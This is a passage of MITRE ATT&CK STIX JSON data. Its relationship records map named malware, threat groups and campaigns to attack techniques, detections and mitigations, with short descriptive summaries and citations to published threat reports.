2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40ac660a-5f6d-4cac-8518-bb8dff6933ea","type":"relationship","created":"2021-06-30T16:13:40.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-20T22:18:06.584Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used VBscript to execute malicious code.(Citation: Cybereason Chaes Nov 2020) ","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--40ad3b2e-e88c-43a2-82c5-666e8ae568e4","created":"2022-03-25T20:32:32.908Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can recursively wipe folders and files in `Windows`, `Program Files`, `Program Files(x86)`, `PerfLogs`, `Boot, System`, `Volume Information`, and `AppData` folders using `FSCTL_MOVE_FILE`. [HermeticWiper](https://attack.mitre.org/software/S0697) can also overwrite symbolic links and big files in `My Documents` and on the Desktop with random bytes.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T01:42:22.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40ae8100-d02c-445a-acf5-8e30f04ec6c0","type":"relationship","created":"2019-01-29T18:44:05.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"},{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}],"modified":"2020-05-20T13:38:06.884Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can download additional files for execution on the victim’s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--40b0386b-7b8c-4876-b255-3082890d1895","created":"2022-08-07T15:44:09.616Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":" [AuTo Stealer](https://attack.mitre.org/software/S1029) can use `cmd.exe` to execute a created batch file.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:52:12.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40b2270c-1549-44dc-87b2-d263941eb951","created":"2023-07-31T19:27:49.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:51:18.802Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has leveraged WMIC for execution, remote system discovery, and to create and use temporary directories.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40b50ac5-b1c1-4f80-b350-460cc0ed9f9f","created":"2022-08-11T22:08:28.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:44:54.623Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has dropped [DCSrv](https://attack.mitre.org/software/S1033) under the `svchost.exe` name to disk.(Citation: Checkpoint MosesStaff Nov 2021)\n","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40b8b52b-319d-40a3-8c02-5e09b109b2ce","created":"2024-09-16T09:12:20.648Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:12:20.648Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used [certutil](https://attack.mitre.org/software/S0160) to load and execute [DUSTPAN](https://attack.mitre.org/software/S1158).(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40b904c6-d77d-4ba8-98a5-c03d5c2a3186","type":"relationship","created":"2021-03-08T18:27:58.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-08T18:27:58.793Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126)’s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the OINFO12.OCX dynamic link library.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40be108e-f0a9-4908-8bc8-591bb7a245ae","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes made to drive letters or mount points of data storage devices for attempts to read to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.","source_ref":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40c202ae-fd92-4506-b72a-5fb0e7bcf99a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.428Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40c5a024-37db-478b-b90f-27f184bf8f60","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Tasklist","description":"Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.","url":"https://technet.microsoft.com/en-us/library/bb491010.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover services running on a system.(Citation: Microsoft Tasklist)","relationship_type":"uses","source_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40cd458c-5a59-4a8d-a04a-3cd3faebaf66","type":"relationship","created":"2019-06-20T16:18:23.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-02T22:11:32.206Z","description":"Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40d44aff-2f5f-4494-aa06-4ea1390df453","type":"relationship","created":"2020-01-24T15:11:03.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-08T16:39:09.160Z","description":"Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40da5ea7-b4d1-45a4-944e-c1c74e408086","type":"relationship","created":"2019-04-24T20:48:39.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.576Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can list local services.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--40dc38ff-1daf-4c3b-823d-377ae4d3a505","created":"2022-04-13T18:50:06.009Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has been loaded through a `.wll` extension added to the ` %APPDATA%\\microsoft\\word\\startup\\` repository.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T18:11:57.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40df642d-ed7f-4b05-ac08-bdc9d4f0246a","type":"relationship","created":"2022-03-07T19:05:36.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"modified":"2022-03-07T19:05:36.840Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used a large-scale botnet to target Small Office/Home Office (SOHO) network devices.(Citation: NCSC Cyclops Blink February 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40e49390-e8a5-4d91-8ec9-d05fb3b71149","type":"relationship","created":"2020-10-02T02:11:32.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-02T02:11:32.105Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has registered hundreds of domains for use in operations.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40e63074-7393-4b47-afe2-afe6d65fd2e3","created":"2022-12-22T18:57:57.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T15:12:14.027Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) has used the scheduled tasks `\\Microsoft\\Windows\\PLA\\Server Manager Performance Monitor`, `\\Microsoft\\Windows\\Ras\\ManagerMobility`, `\\Microsoft\\Windows\\WDI\\SrvSetupResults`, and `\\Microsoft\\Windows\\WDI\\USOShared`\n to establish persistence.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40e636e8-a891-46fb-ba04-69db00062354","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}],"modified":"2020-03-30T03:04:09.125Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) encrypts files with XOR before sending them back to the C2 server.(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40e6721c-f5fd-4c51-aec9-93b70e7e312c","type":"relationship","created":"2020-05-08T18:41:16.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-08T18:41:16.457Z","description":"[Inception](https://attack.mitre.org/groups/G0100) used a file listing plugin to collect information about file and directories both on local and remote drives.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40ecbb46-642a-4742-be84-8ec34382e7c0","type":"relationship","created":"2020-06-10T18:36:54.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018."}],"modified":"2020-06-10T18:36:54.630Z","description":"(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40ed9be1-9c97-46fc-a967-9468888576a8","created":"2022-09-29T20:25:16.869Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:25:16.869Z","description":"(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40f49d74-4d0f-467a-be79-cd57559d8230","type":"relationship","created":"2020-06-09T21:23:39.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.211Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has installed itself via crontab.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40f51fdc-cd3c-4e93-9593-e1ee7cf2211e","type":"relationship","created":"2020-01-17T19:19:05.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-16T15:49:58.690Z","description":"Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40fad687-982e-4cd3-955c-3c458e34e5df","type":"relationship","created":"2020-05-06T21:31:07.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.573Z","description":"[Okrum](https://attack.mitre.org/software/S0439)'s installer can attempt to achieve persistence by creating a scheduled task.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:23:28.802Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has used `cmd.exe` to run commands on a compromised host.(Citation: Cylance Dust 